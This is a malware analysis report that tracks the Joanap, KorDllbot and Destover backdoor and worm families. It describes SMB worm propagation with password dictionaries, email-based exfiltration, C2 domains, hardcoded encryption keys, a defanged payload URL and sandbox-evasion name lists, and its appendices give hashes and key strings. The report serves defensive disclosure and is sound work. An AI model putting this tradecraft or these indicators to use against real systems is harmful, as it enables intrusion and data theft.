This includes an implementation of the Tiny Encryption Algorithm (TEA) which has been somewhat modified, as well as the Rbot PLAIN_CRYPT algorithm.
The default key used in the PLAIN_CRYPT public Rbot source is the string 9024jhdho39ehe2.
This key is used if there is no other key passed to the algorithm.
However, this backdoor uses the same default key as later Joanap variants - 9025jhdho39ehe2, a one-byte change quite specific to this malware series.
Joanap.
A also uses a custom key which is used both in the PLAIN_CRYPT algorithm (for string decryption) and in the TEA algorithm (for data file encryption/decryption).
This is the string hybridhybrid  which is visible in cleartext inside the executable.
JOANAP.B WORM, OCT 2009 This malware is significantly different from the A version.
The main similarity between them is the use of the Rbot PLAIN_CRYPT algorithm for string decryption with the mentioned 9025jhdho39ehe2 default key.
The custom key used is now changed to iamsorry1234567.
The executable contains two XOR-encrypted objects in its resource section.
One is a dictionary file containing passwords, stored in resource 101.
The other, stored in resource 103, is an executable  a copy of the legitimate PsExec tool from SysInternals.
Contrary to the A version, this variant is a true worm.
It generates random IP addresses and attempts to connect to these over the SMB port 445/tcp.
It uses the WNetAddConnection2A API to map the remote machine as a share, using its dictionary of passwords.
If this works, it will copy itself to the system folder of the remote server, and extract its embedded PsExec application to execute the file remotely.
The malware does not connect directly to a CC server.
Instead it sends status mails to its controller via GMails public mail server gmail-smtp-in.l.google.com.
The email will appear to be sent FROM ninjagmail.com TO xiake722gmail.com.
Content is all in the subject field  initially only version (1.1), time, and local IP address.
Upon successful connection and copy to a remote machine, the malware sends mail again  this time also containing remote IP, username and password, in addition to its initial fields.
Above: Email transfer between Joanap and the mail server.
A minor sub-variant of this Joanap generation exists.
This sends email just the same way as described above, but uses a different TO address (laohu1985gmail.com) during network propagation.
JOANAP.B DOWNLOADED BACKDOOR, SEP 2009 However, spreading is not the main payload of the B version of Joanap.
Instead, it attempts to download and install a second stage malware.
This malware, with the sha256 hash of c6d96be46ce3d616e0cb36d53c4fade7e954e74bfd2e34f9f15c4df58fc732d2, was hosted on the URL hxxp://www.booklist.co.kr/upload/img/200810/25.gif.
It would be downloaded and saved to disk under the name sysfault.exe and executed.
This malware is an installer, installing a service dll in the system folder under the name sdnssec.dll.
This is a listen- only backdoor, establishing a listening socket on port 136.
Similar to the Joanap.
A variant and other KorDllbot-related backdoors, this supports a number of integer commands.
The binary contains quite a lot of debug messages helpfully explaining the functionality of these.
Command Function 0x1010 List drives 0x1011 File browse 0x1012 File copy 0x1013 File delete 0x1014 File upload (to target) 0x1015 File download (to botmaster) 0x1016 Execute file 0x1017 Change filetime 0x1018 Folder download (to botmaster) 0x1019 Test connect 0x1020 Run shell command 0x1021 Sleep 0x1023 File properties 0x1030 Process view 0x1031 Process kill 0x1032 Process kill by name 0x10FF Uninstall JOANAP.C BACKDOOR, JUL 2010 The installer of Joanap.
D (next entry) also actively deletes installed files named signtc.ax, signtm.ax, or signts.ax.
Searching for these brought up an apparently preceding sample which uses one of these files - signtc.ax - for storing data.
This sample appears to belong to a series of previous backdoors somewhat related to KorDllbot example SHA-256 hash is 4b6078e3fa321b16e94131e6859bfca4503bcb440e087d5ae0f9c87f1c77b421.
We have not analyzed this variant in detail.
JOANAP.D BACKDOOR, JUL 2011 This malware arrives as a service installer which extracts and installs a DLL named scardprv.dll from its resource section, and writes hardcoded configuration data to a config file named mssscardprv.ax.
It also attempts to delete files installed by previous Joanap versions.
The dropped service DLL has similarities with KorDllbots.
It establishes a listening socket on a semi-random port which is either located between 1024 and 2048 or selected from a list of hardcoded port options.
It also attempts to connect to CC servers which are defined in the saved mssscardprv.ax file as raw IP address/port combinations.
All network traffic is encrypted using RC4 with the binary key (0x10,0x20,0x30,0x40,0x50,0x60,0x70,0x80,0x90,0x11,0x12,0x13,0x1A,0xFF,0xEE,0x48), and the backdoor accepts integer commands in the range 0x4001-0x4015.
API strings reside in data blocks encrypted using AES.
Network APIs are encrypted with the key b n4rbhriq890v902301(T-0Q325J1NLK, while all others are encrypted with the key Bb102jH4t3hg6G1s2J3gCNwVrUeIDr3hytgCHGfion.
This particular AES key was also found in both Joanap and KorDllbot malware belonging to the previously mentioned MicrosoftCodeSigningPCA certificate cluster.
In addition, this variant includes the Rbot PLAIN_CRYPT decryption keys 9025jhdho39ehe2 and iamsorry1234567 for one specific decryption scenario.
So, even though it is somewhat different from previous variants, it contains enough technical indicators to link it to the Joanap family.
The samples we have seen do not appear to have network spreader capability, though they may have been dropped by other malware.
Above: Indicators in the binary JOANAP.E WORM, AUG-SEP 2011 Joanap.
E was the first variant of this family we tied to this threat complex, due to the fact that several samples are signed using the peculiar MicrosoftCodeSigningPCA certificate format.
This variant is again a worm  as mentioned before, the installer drops three files  one SMB spreading DLL (wmmvsvc.dll), one backdoor DLL (scardprv.dll) and one configuration file (mssscardprv.ax).
The backdoor DLL and the configuration file fill the same role as in Joanap.
D. The network spreader module contains some code from the B variant, but a lot of functionality has been reworked.
Similarly to B, it generates semi-random IP addresses and attempts to logon to the admin account of these machines using a password dictionary.
If it manages to do this, it creates a remote share named adnim (no typo), copies the main installer (and the configuration file) over, and executes it.
The authors have moved away from using PsExec for remote execution.
Instead they add shares and execute the worm by creating remote service commands via the Service Control Manager.
If this is successful, the worm sends a status mail the same way as the B variant.
Mail is this time FROM: redhatgmail.com TO: Joana misswang8107gmail.com.
This malware uses the same encryption keys as the B variant.
This worm sets the mutex PlatFormSDK2.1.
JOANAP.F WORM, MAR 2012 We have only two slightly different samples of this generation.
Again, the malwares structure has changed.
It is no longer a service DLL, but instead a standalone Windows executable.
Contrary to previous versions, this worm requires being started with at least one command line parameter (either i or -s), if not it just exits.
The s parameter starts the spreading routine if it is installed correctly and it can find its configuration files.
The samples we have come without installer or data files and do not run.
There is no doubt that these samples belong to this malware family  they use the same encryption keys, mutex structures and data file names as the E variant in the series.
There is one notable exception: This is the first time we see the file encryption RC4 key y0uar3s11yid07,ou74n60u7f001, which closely matches the key mentioned as belonging to the SMB Word Tool in the US-CERT advisory (2)  after the Sony incident, y0uar3sllyid07,ou74n60u7f001.
The difference might be due to a typo.
The malware appears not to be identical though, as some other strings from the advisory YARA rule are not present.
This worm sets the mutex PlatFormSDK2.
JOANAP.G WORM, OCT 2014 This Joanap variation uses the mutex Global\FwtSqmSession106829323_S-1-5-19, which also matches data from the US-CERT advisory (2).
However, this time the worm has switched to a different RC4 key - ys11yid60u7f07ou74n001.
This variation has been detailed by researchers from PriceWaterhouseCoopers (4).
JOANAP.H WORMS, OCT 2014-JAN 2015 This is a series on Joanap executables produced towards the end of 2014 and beginning of 2015.
They use the mutex Global\FwtSqmSession106839323_S-1-5-20, but the same RC4 key as the G variants.
Some samples are quite a lot larger than normal on account of including a big chunk of code from the open source FreeRDP remote desktop client.
Apart from this we have not analyzed these samples in detail.
THE DESTOVER FAMILY DESTOVER B076E058 BACKDOORS, FEB-JUNE 2014.
This sub variant has been named b076e058 based on the first portion of the RSA authentication key used for its server handshake.
Most samples share the ChopString and XOR-A7 obfuscation functions with the Sony-associated malware eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55.
They also declare API calls in the same way.
Samples of this variant were all compiled with the library name Troy.dll in the Export Table, similar to what McAfee documented in their Operation Troy paper (5) on destructive attacks against South Korean targets.
Troy.dll visible in 10d3ab45077f01675a814b189d0ac8a157be5d9f1805caa2c707eecbb2cbf9ac This variant is typically installed as service, with one export - ServiceMain.
Its main purpose is to listen on a given port and accept commands.
The integer codes used for these commands are: A variant: 0x54b7- 0x54cb, with the exception of 0x54be and 0x54ca.
B variant: 0x54b7- 0x54cb, with the exception of 0x54be and 0x54ca, and the addition of 0x54d0.
The installation is done by unobfuscated dropper executables, which install the service DLLs after performing some systems checks.
DESTOVER VOLGMER BACKDOORS, MAR-SEPT 2014 Volgmer backdoors were quickly connected to the Sony case, since several samples use a CC IP address (200.87.126.116) in common with the Sony malware droppers.
The family is easily recognized by the peculiar UserAgent strings used, which all start with Mozillar/ instead of Mozilla/.
These backdoors come in three flavors (that weve found).
The first batch was apparently compiled March 15, 2014.
These appear to be prototypes for later versions, and helpfully contain debug strings labeling all major functionality.
We have only DLL samples of this variant.
The second batch was apparently compiled in April 2014.
The droppers contain a service DLL and a configuration file in a password-protected zip archive embedded as a resource in the dropper executable.
The dropper needs to be able to extract these files, so it also contains the password - which in this case is 1234567890 dghtdhtrhgfjnuifdt.
The third batch was apparently compiled in June and July 2014.
These droppers contain a regular Win32 executable where the configuration data is contained in the exe.
The dropped executable checks the current locale and will not run unless this contains the string korea.
Each dropper package comes configured with partially different CC information.
True to the standard modus operandi of this group, all CC servers are defined as raw IP addresses, typically located on ports in the 8000-range, such as 8080, 8088 or 8888.
Configuration file from the first batch of Volgmer droppers - after the cgi_config marker follow IP/port pairs.
Main functionality involves gathering system information and uploading this to the two main CC servers in an encoded ZIP-archived format.
They accept commands in the range 0x1000-0x1008 (A) and 0x1000-0x1012 (B/C).
DESTOVER WINDOWSUPDATETRACING BACKDOORS, SEPT-OCT 2014 This malware is somewhat different in design than previously mentioned variants.
The installer package installs the backdoor along with legitimate packet filtering components, and there is code to steal credentials from a great deal of different products, some of which are Korean.
One interesting feature with this malware is that it has some limited support for other languages - it contains some user folder names in ex.
Spanish and Portuguese in addition to English.
The name WindowsUpdateTracing is derived from a mutex created by this variant  typically this will be WindowsUpdateTracing0.5 but the suffixes 0.6 and 0.7 also exist.
Chopstring API obfuscation is also present.
Command integers are in the range 0x58692ab8-0x58692ac0.
This trojan uses a semi-traditional Command and Control model, with connections seemingly going to a number of DynDNS domains that are defined in an accompanying configuration file named msxml15.xml.
This configuration file is encrypted using RC4 typically with the RC4 key BAISEO2fas9vQsfvx though some samples use the API name GetFileAttributesW as key  possibly a bug.
Known C2 domains: iphoneserver.lflink.com dns05.mefound.com mx1.mefound.com dns01.vizvaz.com myserver.mrbonus.com game.dnsrd.com dns01.zzux.com exchange01.toh.info exchange04.yourtrap.com However, the DNS resolution for these domains is misleading.
The IP address returned by the DNS server will be XORed with a 32-bit key (we have seen two different keys, depending on variant type), which yields the correct C2 IP address to use.
This means that relying on DNS resolution to identify CC hosts will not work.
IP longint returned in the DNS response is XORed with a dword integer.
This bogus DNS response can be used in an interesting fashion.
The domain mx1.mefound.com has resolved to the bogus IP 44.58.156.86.
When this IP is converted using the corresponding XOR key 0x579C3A53 it becomes 127.0.0.1  i.e.
localhost.
Presumably this is done when the bot is not active.
The IP 44.58.156.86 belongs to University of California at San Diego (UCSD) and have as far as I can tell never been used to host any publicly available domain.
Still, passive DNS data shows that this IP has been the DNS response of a number of DynDNS domains many of which we had not seen before.
We may thus assume that these domains are used in backdoors containing the same XOR key as this particular Destover sample.
This applies to the following additional domains: update03.compress.to baid.otzo.com mx2.mefound.com facebok.mrbasic.com report01.onedumb.com appinfo.yourtrap.com gupdate.yourtrap.com status01.instanthq.com eschool.toythieves.com gogle.jungleheart.com mycompany.moneyhome.biz Since we know the XOR key used, we can also translate any other IPs associated with these domains to presumably correct CC IP addresses (see appendix).
If we repeat this process with the other XOR key we know of - 0x1AB9C2D8 - we end up with the localhost IP 127.0.0.1 translating to the bogus IP of 167.194.185.27.
No additional data was found at this time using this method, but any DynDNS domain resolving to this IP in the future might be interesting to look at.
DESTOVER MESSAGETHREAD BACKDOORS, MAY 2014-MAR 2015 These Destover backdoors contain the Chopstring obfuscation, as well as XOR-A7 encoding.
They are straight remote control tools of the basic KorDllBot model.
The name stems from the Unicode string MessageThread present in all samples of this type.
The Sony Destover sample belonged to this variation.
The command integers used by this variant are typically in the range 0x523b-0x5249.
Unlike many other Destover trojans, some of these installers come with embedded decoy documents, hinting at intended target audience.
The decoys are all in Korean language  one document lists telephone numbers belonging to personnel in government and other public functions other samples contain an invitation to the Korean Government 3.0 expo that was to be held in in Seoul.
Gov 3.0 expo invitation DESTOVER B8AC0905 BACKDOOR, MAR 2015 We have only a single sample of this variant.
The name b8ac0905 is derived from the authentication key string contained in the file (See appendix).
The API obfuscation is here done via an encoding scheme which appears unique, but bears some similarity with RC4.
We call this encoding Intbox as the S-Box is not populated using a string as input, but instead is a function of an integer key.
This is a listen only backdoor, and does not call out to any CC server directly.
We do not have the configuration data that presumably was installed along with this sample, so no more details are available at this time.
The integer commands it expects are 0x00-0x0f, 0x12 and 0x15.
DESTOVER B59D1659 BACKDOOR, APR 2015 We have only one sample of this variant too  a Win64 DLL exporting the functions ServiceMain, RasmanStart and RasManEnd.
Of these, only ServiceMain has any real function.
The sample attempts to impersonate the legitimate appmgmts.dll from X64 Windows 7.
It is even of the exact same size as the original.
The name b59d1659 is derived from the RSA authentication key string contained in the file (see appendix).
The command words used by this variant are in the range 0x2638000-x236801b.
The CC configuration is read from a data flle - appmgmts.rs - which presumably is created by the installer, and which we do not have a copy of.
Thus, CC information and distribution method is unknown for this variant.
DESTOVER RANDOMDOMAIN BACKDOORS, MAR-APR 2015.
VERSION C JAN 2016 Destover Randomdomain backdoors have also evolved from the original KorDllbots.
They come in both x86 and x64 versions.
There seems to be three distinct variants of this class of backdoors with slightly different obfuscation methods used and CC configuration, though most variants use the same API obfuscation  an inline character replacement technique resulting in almost recognizable API strings in the file.
We name this technique CharSwap for the purpose of this paper.
They connect to their CC servers using what appears to be SSL/TLS.
This includes a remote server name indication (SNI) extension in the initial Client Hello.
This server name is randomly picked from an internal list of domain names thus the name Randomdomain.
A list of such names can be found in the appendix.
When I say appears to be SSL/TLS, this is because the encryption actually used is not secure.
The malware can choose between different simple encryption modi, and these are somewhat different between the known variants.
Variant A uses either RC4 with the string TCPPROCESSREADY.
as encryption key, or a XOR 0x28, SUB 0x28 encoding, or a segmented XOR encoding .
Variant B uses either simple byte wise XOR encoding with a shifting key, or an even simpler XOR 0x25, SUB 0x25 encoding.
Variant C uses only one  the same shifting XOR encoding used by variant B.
Variant C checks auto proxy settings and will connect through the configured proxy if possible.
This code is not seen in earlier versions.
The command words used by these backdoors are in the range 0x123459 - 0x12348a (some files to 0x123488).
The two first variants were apparently in use in the first half of 2015.
Variant C has been used more recently  we have seen only two samples, the first date stamped May 2015, the last Jan 12th, 2016.
DESTOVER DUUZER BACKDOORS, MAR-OCT 2015 , JAN 2016 The Duuzer variation of Destover backdoors have evolved quite a bit from the original KorDllbot basis.
They use more in-code obfuscation and are somewhat more complex.
For example, string references are stored as encoded local variables in special functions.
Access to these variables is obtained by calling the containing function with an offset into the variable blob, and the function decodes the correct string.
Similar to the RandomDomain and e4004c1f these backdoors use specially crafted SSL headers to initiate communication with their CC servers, but the encryption is custom.
The command scheme is also somewhat unique  instead of a digit to indicate which function to perform, these backdoors use binary multibyte command statements.
There are several sub variants of Duuzer.
One sample .
(
sha256 f31d6feacf2ecece13696dcc2da15d15d29028822011b45045f9efa8a0522098) appears to be a predecessor and somewhat simpler than later samples.
Later variants include the live and the naver versions - based on the server name they use in their faked SSL handshake, either login.live.com or ad.naver.com.
The latest versions we have seen  compiled January 2016  dont even bother with these strings.
As previously mentioned, Duuzer has been detailed in a report from Symantec (3).
This report also mentions the connection to the Joanap malware family, and details examples of live usage of the CMXE command line execution mentioned before.
This variant has been seen as the payload of trojanized HWPX documents exploiting the CVE-2015-6585 vulnerability as documented by FireEye (6).
Decoy documents include invitations to events like Korean Aerospace Systems Engineering 2015, and Aeroseminar 2015 a Korean Aerospace Weapon System Development Seminar (below).
An email found on VirusTotal shows that an exploited document containing this exact decoy was attempted sent to the Korean Atomic Energy Research Institute (KAERI).
DESTOVER E4004C1F BACKDOOR, JUL-SEP 2015 The main differences in this backdoor arise from the inclusion of what appears to be modified open source SSL/TLS code.
This is used to construct legitimate SSL headers, though the communication itself is encrypted by a homegrown encoding scheme.
This backdoor is found in both x86 and x64 variants.
The name e4004c1f is taken from the start of the authentication key found in all these samples.
The command integers vary somewhat between sub variants: Variant A samples use the range 0x00-0x0f, with addition of bytes 0x12, 0x1b, and 0x64.
Variant B samples use the range 0x0a-0x24, with exception of bytes 0x18, 0x1c, and 0x1d Variant C samples use the range 0x0a-0x26, with exception of bytes 0x18, 0x1c, and 0x1d This family has also been used as the payload of CVE-2015-6585 trojanized HWP documents.
The FireEye write-up on this mentions a backdoor they name HANGMAN (7).
FireEye uses a proprietary malware naming scheme which makes it somewhat difficult to correlate, but we believe this corresponds to the e4004c1f variant.
In the same blog post FireEye mentions a backdoor they call PEACHPIT.
Based on the code snippet shown, we believe PEACHPIT to belong to one of the early KorDllbot generations.
As mentioned, the exact same CMXE code has been used in several generations from 2011 and onwards.
Decoy documents used by e4004c1f include descriptions of the LDAP protocol, and a text on the virtues of Scrum vs Kanban.
The latter was attempted sent to the Korean Google group sysadminstudy.
It is possible that this generation of malware has been aimed at the IT/software industry.
Decoy documents used by the e4004c1f variant include a Korean text on the LDAP protocol.
Apart from the similarities with other malware established in the publications mentioned above, this variant has been distributed in a particular installer which includes the backdoor in an embedded password-protected zip archive.
The password for this zip archive is 1234567890 dghtdhtrhgfjnuifdt - identical to the password used by Destover Volgmer backdoors already detailed in this paper.
There are also code similarities with Volgmer elsewhere  for example, the function to declare network APIs from ws2_32.dll is identical, and the API names are encoded using the same API obfuscation scheme.
The CC configuration can be hardcoded, or stored in a data file and subkeys under the registry key HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security.
Some variant A samples uses subkey a57890bc-ca23-3453-a23c-d385e9058fdf Some variant C samples uses subkey 821d1af-7a08-4b06-81cd-869365cdf713 The network API declaration function of a Destover Volgmer and a Destover e4004c1f backdoor.
DESTOVER BASICHWP BACKDOOR, SEP 2015 This generation of backdoors is similar to the previous ones in that they use a custom SSL-like protocol for CC communication.
They have been further simplified, but use more C classes, and the 256-bit stream cipher Caracachs (hardcoded password abcdefghijklmnopqrstuvwxyz012345) is used for both network traffic and API obfuscation.
The same password is used in the example code for Caracachs found online (8), so no great effort has been taken to protect the encryption.
This variety of Destover is the third we have seen installed by documents exploiting the CVE-2015-6585 HWP vulnerability.
Command word set for this generation of backdoors is 0x8378-0x8390.
Decoy document content include a CV from an apparently South Korean individual, and a document apparently from the South Korean Foreign Affairs and Unification Committee, as seen below.
Decoy: State information systems audit planning document, Aug 2015 DESTOVER FORMBOUNDARY BACKDOOR, NOV 2015 This backdoor has many code overlaps with RandomDomain.
B  for example, it uses CharSwap API obfuscation, and uses the same set of integer commands.
It has evolved away from the use of faked SSL, which means whole segments of code have been removed, including most of the domain names used for the SSL handshake.
Instead, it connects to the CC server via regular HTTP on port 80 and initially posts a blob of random data disguised as a legitimate file.
Any real content is sent encrypted afterwards, using one of the bytewise XOR encodings known from RandomDomain.
Sending initial POST statement to CC server The HTTP header fields can vary  many are selected from hardcoded lists, including the Host field.
The FormBoundary string is terminated by a randomly generated character sequence, and the malware queries the system via the API call ObtainUserAgentString to get the current default User Agent.
If this call fails, the hardcoded User Agent AgentString is used instead.
DESTOVER VOLGMER2 BACKDOOR, JAN 2016 This was found as a DLL backdoor sample t(x86).dll which contained several traits in common with the Volgmer series.
Further data mining revealed that identically to Volgmer, the sample is installed by a dropper which contains the DLL in an embedded zip file resource named MYRES in its body.
This dropper is again extracted by another outer dropper with a similar embedded zip inside, which also in addition contains a configuration file ntuser.inf.
This config file contains - among other things - CC IP and port information, which is read and written to a registry key before being used by the main payload component.
HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security subkey  72ca1d1af-7afc-4c06-cc1d-8feaac5cdf764.
Volgmer2 shares API declaration functions and string decode algorithms with the original Volgmer.
However, there are also clear differences.
Its network behavior has moved away from HTTP post with the recognizable Mozillar UserAgent.
Instead, CC traffic is performed via faked SSL with another encryption twist  RC4 with a layer of XOR on top.
They RC4 key is binary, and hardcoded in the executable: 0x0d, 0x06 ,0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00,  0x03, 0x82.
Similarly to the RandomDomain series, Volgmer2 uses domain names chosen randomly from a list in its SSL handshake.
ShADprops.dll MYRES ZIP resource Loader(x86).dll ntuser.inf config data MYRES ZIP resource t(x86).dll main payload The dropper executables in the Volgmer 1 series contained some checks for VM environments.
Volgmer2 has taken this further, and included a number of anti-debugging tricks and of checks for what appears to be known sandbox environments.
Volgmer1 vs Volgmer2 dropper evasions.
The change also means that the malware continues to work if under a virtualized environment, if there are no other indicators that there is monitoring or debugging activity going on.
The check for known sandbox environments is done by comparing the computer name with the names in the following list: MARS53 35347 JOHN-PC TVMCOM PLACEHOL-6F699A WIN7PRO-MALTEST WINDOWS-F99AACA XELRCUZ-AZ RATS-PC PXE472179 The command integers used by Volgmer2 are in the range 0x09-0x27 with the exception of 0x17, 0x1b and 0x1c.
APPENDIX: ALGORITHMS AND OTHER INDICATORS Chopstring obfuscation Chopstring deobfuscator Deobfuscation of the API name before it is sent to GetProcAddress.
Yes, they look up GetProcAddress using GetProcAddress.
Go figure.
XOR-A7 obfuscation This is a forward bytewise XOR encoding using 0xA7 as key.
String deobfuscation functions in the Sony Destover (left) malware and Destover b076e058 (right).
They are identical, even down to using 0xa7 as xor key.
XOR-XX-SUB-XX obfuscation This is a forward bytewise XOR, SUB encoding, usually used in communication encryption/decryption.
The inverse is usually also present in the form of ADD, XOR.
Many different byte combinations are used in the various variants.
BC-SUB API Obfuscation This is a forward bytewise decoding where the each character value is subtracted from 0xBC to arrive at a cleartext character.
This decoding is used instead of ChopString in some KorDllbot variants.
DB-SUB API Obfuscation This is a forward bytewise decoding where the each character value above a and below z  is subtracted from 0xDB to arrive at a cleartext character.
CharSwap API Obfuscation This is an encoding where some character ASCII values are increased or decreased by nine.
CharSwap is used for obfuscation of both APIs and regular strings.
Above figure shows API de-obfuscation.
The CharSwapped API names GetDriveTypeA, SetFileTime and Process32Next.
Intbox encoding This encoding is used instead of ChopString in some Destover variants.
RC4XOR encryption This encryption is used by Volgmer2 on network traffic data.
KorDllbot / Joanap AES keys Bb102jH4t3hg6G1s2J3gCNwVrUeIDr3hytgCHGfion b n4rbhriq890v902301(T-0Q325J1NLK Koredos RC4 key A39405WKELsdfirpsdLDPskDORkbLRTP123303223 Joanap PLAIN_CRYPT keys 9025jhdho39ehe2 hybridhybrid iamsorry1234567 Destover b076e058 RSA authentication key string b076e0580463a202bad74cb9c1b85af3fb4d1be513ccca3ae8b57d193be77b4ab63802b3216d3a80b00827b693593 a76be884f41b491ee1f6136b3755add91e2de9b0f5b3849d463fcd7b9a3b6cd0744caf809f510ee04ab3c714f53422d2 4f33361f75145b08286d2d7d99704684ed1d25fd5a9dc7b993f8e4d074234fd82d3 Destover Volgmer.
A RSA authentication key string bc9b75a31177587245305cd418b8df78652d1c03e9da0cfc910d6d38ee4191d40bd51483321ebe44595f799da8421 5ebd7137c9e267f54a342048e510fddfdec2404764fdf128c330862e747d7a98cd557a15500051a5b6651572a398bbe 5a51d52dc7af3b34b06b68c7974b9f8e45fd3636fd628c1dbcf65bbb68b2dd058017 Destover Volgmer.
B/C RSA authentication key string b50a338264226b6d57c1936d9db140ba74a28930270a083353645a9b518661f4fcea160d73469b8beabc14b90e907 88c28f2d7c660e43db2e6f81aa05a08cae4517845ba4b9fc614e77e39d502003fcc6712d45428f339bcc06787745f734 1e9884fae803ad2fbb9670acb15b2da62735081fb2bc2a9b8b434dbe211a4b59b03 Destover b59d1659 RSA authentication key string b59d165982e3d5721c4d40195f85aedf2a12d6616be11a2c19fa11821604edc4675bdca4f9b9cbfb27244203ca8e21 500ae592d7bb2776e8ed9179dc1fb47819f140d0052f28865c201a036f3f698d0c256c3446e09c83eda056c91ee9e25 927148a3521439d57b0682a4c2723bd18dcd37c0f9b08ff8c7c3bc37684d2b4d241 Destover b8ac0905 RSA authentication key string b8ac0905cda0360fc115f614119da76d84e2277762bd7558b2650a79013fb50138f732d5a03730d7d5b173a12d9a8 42353ca433758d417fa8b452ec075f87bf76a7056ecdd2b063432f414e4ad52fdb078b8a9d84635774e5234ce28a762 d91af1cb9c026ffd68b88f1032c9c2c8fa1d187a054f906781c56fb07b0f6bb908cb Destover e4004c1f RSA authentication key string e4004c1f94182000103d883a448b3f802ce4b44a83301270002c20d0321cfd0011ccef784c26a400f43dfb901bca753 8f2c6b176001cf5a0fd16d2c48b1d0c1cf6ac8e1da6bcc3b4e1f96b0564965300ffa1d0b601eb2800f489aa512c4b248c 01f76949a60bb7f00a40b1eab64bdd48e8a700d60b7f1200fa8e77b0a979dabf Destover Randomdomain.
A/B SSL remote server names contained in Client Hello wwwimages2.adobe.com www.paypalobjects.com www.paypal.com www.linkedin.com www.apple.com www.amazon.com www.adobetag.com windowslive.tt.omtrdc.net verify.adobe.com us.bc.yahoo.com urs.microsoft.com supportprofile.apple.com support.oracle.com support.msn.com startpage.com sstats.adobe.com ssl.gstatic.com ssl.google-analytic.com srv.main.ebayrtm.com skydrive.live.com signin.ebay.com securemetrics.apple.com secureir.ebaystatic.com secure.skypeassets.com secure.skype.com secure.shared.live.com secure.logmein.com sc.imp.live.com sb.scorecardresearc.com s1-s.licdn.com s.imp.microsoft.com pixel.quantserve.com p.sfx.ms mpsnare.iesnare.com login.yahoo.com login.skype.com login.postini.com login.live.com l.betrad.com images-na.ssl-images-amazon.com fls-na.amazon.com extended-validation-ssl.verisign.com daw.apple.com csc.beap.bc.yahoo.com by.essl.optimost.com b.stats.ebay.com apps.skypeassets.com api.demandbase.com ad.naver.com accounts.google.com Destover Randomdomain.
C SSL remote server names contained in Client Hello myservice.xbox.com uk.yahoo.com web.whatsapp.com www.apple.com www.baidu.com www.bing.com www.bitcoin.org www.comodo.com www.debian.org www.dropbox.com www.facebook.com www.github.com www.google.com www.lenovo.com www.microsoft.com www.paypal.com www.tumblr.com www.twitter.com www.wetransfer.com www.wikipedia.org Destover Volgmer2 SSL remote server names contained in Client Hello ad.naver.com all.baidu.com www.amazon.com www.apple.com www.bing.com www.dell.com www.hp.com www.microsoft.com www.oracle.com www.paypal.com www.uc.com www.yahoo.com (Note that domain names included in Destover SSL handshakes are legitimate and used only as disguise.)
APPENDIX: THE MICROSOFTCODESIGNINGPCA SELF-SIGNED SAMPLE CLUSTER Group: 03c64293830f4c8f43666b3901d02332 87bae4517ff40d9a8800ba4d2fa8d2f9df3c2e224e97c4b3c162688f2b0d832e KorDllbot v1.1 backdoor service, listening on port 179 Group: 3d348a74aab5359d422da7fad24b8c2c a7d088bf3ae2a82f711f816922779ac7b720170298ac43c76cf8c6e1aa8dfadd Proxymini 0.2.1,  Luigi Auriemma fd95e095658314c9815df6a97558897cb344255bd54d03c965fa4cbd16d7bafd NoiseSin data stealer 82169a2d8f15680c93e1436687538afa01d6a2ecfe7a7cb613817c64a1a82342 NoiseSin data stealer 792b484ac94f0baefc7e016895373ba92c2927e3463f62adb701ddbe4c90604c KorDllbot backdoor (Unobfuscated API loading) 162d6223c1c1219ca81a77e60e6b776058517272fe7cac828a3f64dcacd87811 KorDllbot backdoor (XOR-obfuscated API loading) 56e0b1794a588e330e32a10813cdc9904e472c55f17dd6c8de341aeaf837d077 Keylogger c16a66c1d8e681e962f03728411230fe7c618b7294c143422005785d3a724ec4 Dropper for 162d6223c1c1219ca81a77e60e6b776058517272fe7cac828a3f64dcacd87811 57b4c2e71f46fe3e7811a80d19200700c15dd358bdf9d9fdf61f1c9a669f7b4b NoiseSin data stealer Group: 09b075a5393e93a3479a00051714de52 2d9edf45988614f002b71899740d724008e9a808efad00fa79760b31e0a08073 Joanap backdoor and SMB worm 006e0cc29697db70b2d4319f320aa0e52f78bf876646f687aa313e8ba04e6992 Joanap backdoor and SMB worm dda136bc51670e57a4b2f091f83ab7b44291a9323d5483abd9e91b78221e027f Data harvester Group: 17522941a80c25ab4c9cfe5f28d9361f 163571bd56001963c4dcb0650bb17fa23ba23a5237c21f2401f4e894dfe4f50d SMB worm and backdoor dropper for f901083da11222e3221f5d3e5d5f79d7ea3864282ea565e47c475ad23ef96ff4 Group: 9d0550e00b6d5da9407e28bca4336cc9 3d2a7ea04d2247b49e2dcad63a179ae6a47237eddbfd354082f1417a63e9696e Joanap backdoor and SMB worm ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781 Joanap backdoor and SMB worm Group: e7d382fb2e1ea4a44a8d193f4014e514 6e8a2329567cdbbba68460ccb97209867d7508983cb638662b33bfe90d0134d4 KorDllbot backdoor dropper, disguised as a Korean Windows hotpatch af7b53ce584b83085488e1190e1458948eaf767631f766e446354d0d5523e9d0 Dropped KorDllbot component 69300a42e055f68a8057192077fbbef3be5b66514ea9ca258b077c5c7e9417a9 KorDllbot backdoor dropper Group: 14ccfa0756059e93469bfef60935d999 e0cd4eb8108dab716f3c2e94e6c0079051bfe9c7c2ed4fcbfdd16b4dd1c18d4d SMB worm and backdoor dropper for a795964bc2be442f142f5aea9886ddfd297ec898815541be37f18ffeae02d32f 96c35225dc4cac65cc43a6cc6cdcce3d13b3bda286c8c65cad5f2879f696ad2a Backdoor dropper for 0075d16d8c86f132618c6365369ff1755525180f919eb5c103e7578be30391d6 Group: c23d8473c335159a435b5c920b961971 29355f6d4341089b36834b4a941ef96b3bf758a4fe35fbb401cc4e74b9b1c90f Yahoo IM backdoor service 9e226a5eb4de19fcb3f7ecc3abcf52ea22a1f1a42a08dd104f5f7a00164e074e Yahoo IM backdoor exe 041605e498bb41b07d2d43003152cc2a992e7e2ade7a47ee9aef2570bdb16d94 Yahoo IM backdoor exe 82fe3a8f2248643505e8de1977b734f97eb38225e6d3df6ea8f906430514b4f5 Yahoo IM backdoor exe Group: a02925c39912b68a4a0555246a031abb 08203b4ddc9571418b2631ebbc50bea57a00eadf4d4c28bd882ee8e831577a19 Joanap dropper, backdoor and SMB worm Group: f487c2cfd330cf8e4f9171672d99cecd 8e3c3398353931c513c32330c07f65b6ee6f62fc7a56edac7cbe4edb1bf4c74e KorDllbot backdoor dropper 